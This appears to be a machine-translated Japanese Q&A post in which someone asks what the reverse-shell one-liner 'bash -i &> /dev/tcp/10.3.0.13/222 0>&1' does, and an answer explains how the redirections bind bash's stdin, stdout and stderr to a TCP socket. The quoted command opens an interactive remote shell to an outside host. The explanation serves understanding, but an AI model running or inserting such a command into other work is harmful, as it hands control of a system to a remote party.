コマンドを理解しようとします。
bash -i &> /dev/tcp/10.3.0.13/222 0>&1
これは、「bash -i」のSTDINがSTDOUTコンテンツを取得することを意味しますか?
ベストアンサー1
&> file
> file 2>&1
それ自体は、ファイルディスクリプタ1で書き込み専用モードで開き、file
そのファイルディスクリプタ1をファイルディスクリプタ2にコピーし、fd 1と2(stdoutとstderr)の両方がそのファイルディスクリプタを指すようにします。ファイル説明を開く
0>&1
0<&1
(またはと同じ<&1
)リストに0(stdin)を追加します。また、fd 1を0にコピーします(fd 0は、fd 1が指すのと同じリソースを指すようにします)。
これで(関数が出てくるkshのように)> /dev/tcp/host/port
実行すると、aを実行する代わりにTCPソケットが作成され接続されます。それじゃないbash
open(file, O_WRONLY)
bash
host:port
ただ書くリダイレクト、読み取り+書き込みネットワークソケットです。
したがって、最後のfd 0、1、2はすべてbash -i
TCPソケットです。 stdinを読み取るときはbash -i
ソケットから読み込み、したがってもう一方の端にあるすべての内容を読み込みhost:post
(またはそこで実行されるコマンド)、fd 1または2に書き込むとソケットが送信されます。